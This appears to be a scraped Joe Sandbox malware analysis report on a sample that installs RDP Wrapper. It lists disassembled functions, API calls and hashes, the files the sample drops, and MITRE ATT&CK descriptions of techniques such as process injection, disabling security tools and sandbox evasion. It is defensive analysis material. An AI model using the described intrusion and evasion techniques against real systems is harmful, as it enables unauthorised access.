Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 6ebdd4f1cd543b76a016c77fc1286a410c61f79913e5f64509fe1404532659ad
Instruction ID: 2319d0df2cd87803d0a75df5626f4cddb48e3135002f19a9a4d545a6677a7621
Opcode Fuzzy Hash: 6ebdd4f1cd543b76a016c77fc1286a410c61f79913e5f64509fe1404532659ad
Instruction Fuzzy Hash: 49F06DB37012146F9745EEADA881D6B77FDEE88264390017FFA08D7202DA38ED154379

Function 0040A0E6 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00449C1C), ref: 0040A0F8
lstrcmpiA.KERNEL32(?,?), ref: 0040A10E
LeaveCriticalSection.KERNEL32(00449C1C,00449C1C), ref: 0040A143

Strings

YD, xrefs: 0040A0EE

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeavelstrcmpi
String ID: YD
API String ID: 2420758022-4277794568
Opcode ID: 0b44f2d380ec5fe545f4f2e3965f64519b1ec05f6d6c381fa1d4a9968702bb33
Instruction ID: abf7b61c1320a37f19f23f54b7b1c16b8e1f28cb69a34480c51c1f01e8ca554a
Opcode Fuzzy Hash: 0b44f2d380ec5fe545f4f2e3965f64519b1ec05f6d6c381fa1d4a9968702bb33
Instruction Fuzzy Hash: 8AF062322003145BEF106A619CC2B1677989F15714F100037FB007F2C3D6BC9C60466F

Function 004059C6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

UnhandledExceptionFilter.KERNEL32(00000006,00000000), ref: 00405A9A

Strings

$$@, xrefs: 00405AF6

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: $$@
API String ID: 3192549508-1194432280
Opcode ID: ffbabee0d71fd2b7d8fc05915f2ca3a30f23b11c7e3ffcedbc7f052df7b7c5c2
Instruction ID: fff674c7101e68f6d73d2d8a69124ddc370c84ad249f2bdacb9cff7d7fa155c1
Opcode Fuzzy Hash: ffbabee0d71fd2b7d8fc05915f2ca3a30f23b11c7e3ffcedbc7f052df7b7c5c2
Instruction Fuzzy Hash: 1C418C75304A019FD720DB14D884B2BB7A5EB89314F69867AF444AB392C738EC41CF69

Function 0040589A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

UnhandledExceptionFilter.KERNEL32(00000006,00000000), ref: 00405906
UnhandledExceptionFilter.KERNEL32(?,?,?,Function_0000589C), ref: 00405943

Strings

$$@, xrefs: 0040596E

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: $$@
API String ID: 3192549508-1194432280
Opcode ID: 23fdc1c80813b7a19c68f0c79cc3fa5e3fa91e7525bef4bca6a264e8681dbcfb
Instruction ID: 4b325d1a8302ad8f82e944498d23502563e7d009f61a8d4e6d3783212fd5e4e2
Opcode Fuzzy Hash: 23fdc1c80813b7a19c68f0c79cc3fa5e3fa91e7525bef4bca6a264e8681dbcfb
Instruction Fuzzy Hash: 533141B4604700EFD720DB10D888B6BBBA9EB84724F54857AF448A7291C738EC40CF69

Function 00411498 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,00411595), ref: 0041152C
GetDateFormatW.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,00411595), ref: 00411532

Strings

, xrefs: 004114F8

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DateFormatLocaleThread
String ID:
API String ID: 3303714858-3916222277
Opcode ID: 0d5b63d8b5d64c377b747a6270c18780734cafdd64312a6cbce0b29c00a6c7cf
Instruction ID: da40258a30b1bf54e866a7fbbaf5cc9082ba5d6ba5cf06b5a9e2a769468a01f6
Opcode Fuzzy Hash: 0d5b63d8b5d64c377b747a6270c18780734cafdd64312a6cbce0b29c00a6c7cf
Instruction Fuzzy Hash: 2C21BB31A04254AFC711DF64C8556EA77B5EF49300F4140A7FD45E72A1D6389E50C7AA

Function 004150E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 00415102
GetSystemMetrics.USER32(0000004A), ref: 00415153

Strings

p[D, xrefs: 0041512D

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LocaleMetricsSystemThread
String ID: p[D
API String ID: 3035471613-2202972244
Opcode ID: da98f0b9cf3a04fcb2a289a8677121395d8df8e9f207d3304538472cbe0e1366
Instruction ID: 0794bcb2409efff6a4af82a72d6dc306925be2e2831a755ee0de451743422fb7
Opcode Fuzzy Hash: da98f0b9cf3a04fcb2a289a8677121395d8df8e9f207d3304538472cbe0e1366
Instruction Fuzzy Hash: 4A010430A00650EADB129E6658813D27BD49B82315F48C0BBED489F387D63CD881C77A

Function 0043A688 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00447324,00443D31,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043A693

Part of subcall function 0040AA94: GetProcAddress.KERNEL32(?,?), ref: 0040AAB8

Strings

Wow64DisableWow64FsRedirection, xrefs: 0043A69E
kernel32.dll, xrefs: 0043A68E

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 1646373207-3689287502
Opcode ID: 3a9063c87b9bf03a8dd6229c9438aece060355b6351e033b19066e162e83d57d
Instruction ID: 7cbe884eb00d1b8f8e0b90a93abb1152f64afda344a6e4615680911855581588
Opcode Fuzzy Hash: 3a9063c87b9bf03a8dd6229c9438aece060355b6351e033b19066e162e83d57d
Instruction Fuzzy Hash: D4E012513883C21AD61276FA1DD2B2E26CC4B6D709F2C287FB5C0D1193D99DC468863F

Function 0043A724 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00447324,00443E55,000001F4,000001F4,000003E8,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043A72F

Part of subcall function 0040AA94: GetProcAddress.KERNEL32(?,?), ref: 0040AAB8

Strings

kernel32.dll, xrefs: 0043A72A
Wow64RevertWow64FsRedirection, xrefs: 0043A73A

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 1646373207-1355242751
Opcode ID: 349a73e186955f1baf5885772f004c34863de15e74dc15c33fb7743de3b5e964
Instruction ID: 7f98099b70b18dc0c665e624c368f4c8ddeaec672eef30118536404a03429535
Opcode Fuzzy Hash: 349a73e186955f1baf5885772f004c34863de15e74dc15c33fb7743de3b5e964
Instruction Fuzzy Hash: FBE0C2013883C21EE60272F90DD1B3A17D84B6C308F24183FB1C0D1183DB9CC524862F

Function 00415B40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 16COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,0044313B,00000000,0044315A), ref: 00415B46

Part of subcall function 0040AA94: GetProcAddress.KERNEL32(?,?), ref: 0040AAB8

Strings

GetDiskFreeSpaceExW, xrefs: 00415B51
kernel32.dll, xrefs: 00415B41

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExW$kernel32.dll
API String ID: 1646373207-1127948838
Opcode ID: a738386b4eb64180ba5d2c03a1b622a8c2aaab42401b0cdd019b227c0ec9c639
Instruction ID: 4ad585b0bbb22d8cb86f0bca7bf1fd5c676b9542b5302fef9f3b12a8682de55f
Opcode Fuzzy Hash: a738386b4eb64180ba5d2c03a1b622a8c2aaab42401b0cdd019b227c0ec9c639
Instruction Fuzzy Hash: 92D0C7B4745F85DBFF10DBA55D83BD62254E785309B10043B70046D2D3D67C6894CB1D

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Driver: Driver Load, File: File Creation, File: File Modification, Module: Module Load
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\RDP Wrapper\rdpwrap.dll

C:\Program Files\RDP Wrapper\rdpwrap.ini

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PQZFFJEVUNE1ASJZ_c565d4165b1cddd54ce69fdd41ea3e96af170_6949917b_04e90f10-59e5-485a-8fbc-2e65a023bd0f\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7437.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7581.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER75A1.tmp.xml

C:\Users\user\AppData\Local\Temp\RDPWInst.exe

C:\Windows\System32\rfxvmt.dll

C:\Windows\appcompat\Programs\Amcache.hve

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre